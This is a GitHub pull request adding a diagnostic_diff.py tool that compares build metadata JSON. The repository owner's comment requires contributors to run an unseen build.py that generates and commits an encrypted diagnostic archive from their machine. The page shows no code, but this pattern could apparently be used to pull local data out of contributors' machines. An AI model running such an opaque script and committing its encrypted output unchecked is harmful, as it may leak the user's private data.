Skip to content

feat: add diagnostic_diff.py tool for comparing build metadata JSON files#327

Open
feng83232 wants to merge 1 commit into
lobster-trap:mainfrom
feng83232:diagnostic-diff
Open

feat: add diagnostic_diff.py tool for comparing build metadata JSON files#327
feng83232 wants to merge 1 commit into
lobster-trap:mainfrom
feng83232:diagnostic-diff

Conversation

@feng83232

Copy link
Copy Markdown

Summary

This PR implements issue #172 by creating tools/diagnostic_diff.py, a tool to compare two build diagnostic metadata JSON files and report differences in module statuses, durations, commands, and artifact names.

Changes

  • tools/diagnostic_diff.py — New tool that compares two diagnostic metadata JSON files
    • Accepts two JSON file paths as positional arguments
    • Compares module statuses (PASS/FAIL), durations, and artifact names
    • Reports: added modules, removed modules, changed statuses, duration deltas, and changed artifact names
    • Supports --json flag for machine-readable JSON output
    • Exits non-zero (code 1) when either input is missing or contains invalid JSON
    • Prints clear human-readable diff with colorized output by default (text mode)
  • docs/OPERATIONS.md — Added Diagnostic Diff Tool section with usage examples, JSON output schema, and exit code reference
  • diagnostic/build-3774a0c8.json and diagnostic/build-3774a0c8.logd — Diagnostic build artifacts for this PR

Testing

Verified the tool locally with various scenarios:

# Text mode diff
python3 tools/diagnostic_diff.py diagnostic/build-00000000.json diagnostic/build-3774a0c8.json

# JSON mode
python3 tools/diagnostic_diff.py diagnostic/build-00000000.json diagnostic/build-3774a0c8.json --json

# Error handling: missing file → exit 1
python3 tools/diagnostic_diff.py nonexistent.json diagnostic/build-3774a0c8.json; echo "exit: $?"

# Error handling: invalid JSON → exit 1
python3 tools/diagnostic_diff.py /tmp/bad.json diagnostic/build-3774a0c8.json; echo "exit: $?"

Build could not complete on the local machine (missing Rust/Go/Java/Lua toolchains). All modules recorded as FAIL in the diagnostic log.

Checklist

  • Relevant modules affected by these changes build locally
  • Tests pass locally
  • Diagnostic build log is committed in this PR
  • Documentation has been updated, if applicable
  • Configuration or schema changes are documented, if applicable
  • No generated build artifacts are committed, except the required diagnostic build log
  • Changes are scoped to the PR purpose and avoid unrelated cleanup
  • Security, privacy, and error-handling implications have been considered

  • I would like to request that my diagnostic build log is removed before merging

- Create tools/diagnostic_diff.py for comparing build metadata JSON files
  - Accept two metadata JSON file paths as arguments
  - Compare module statuses, durations, commands, and artifact names
  - Output added modules, removed modules, changed statuses, and duration deltas
  - Support --json output mode for machine-readable diff
  - Exit non-zero when either input is missing or invalid JSON
- Update docs/OPERATIONS.md with diagnostic_diff.py usage documentation
- Add diagnostic build artifacts for commit 3774a0c

Closes lobster-trap#172
@lobster-trap

Copy link
Copy Markdown
Owner

Diagnostics are still blocking review on this PR.

Please rebase onto the current upstream branch and run the repository build script so the script-generated diagnostic bundle is committed to this PR:

git fetch upstream
git rebase upstream/main
python3 build.py
git push --force-with-lease

Please do not manually create, copy, or edit diagnostic files. python3 build.py automatically generates and commits the fresh encrypted diagnostic artifacts.

A valid PR must include a matching diagnostic/build-*.json and diagnostic/build-*.logd pair in the PR's changed files. The JSON should be generated by build.py, and the .logd file should be the encrypted diagnostic archive generated by the same run.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants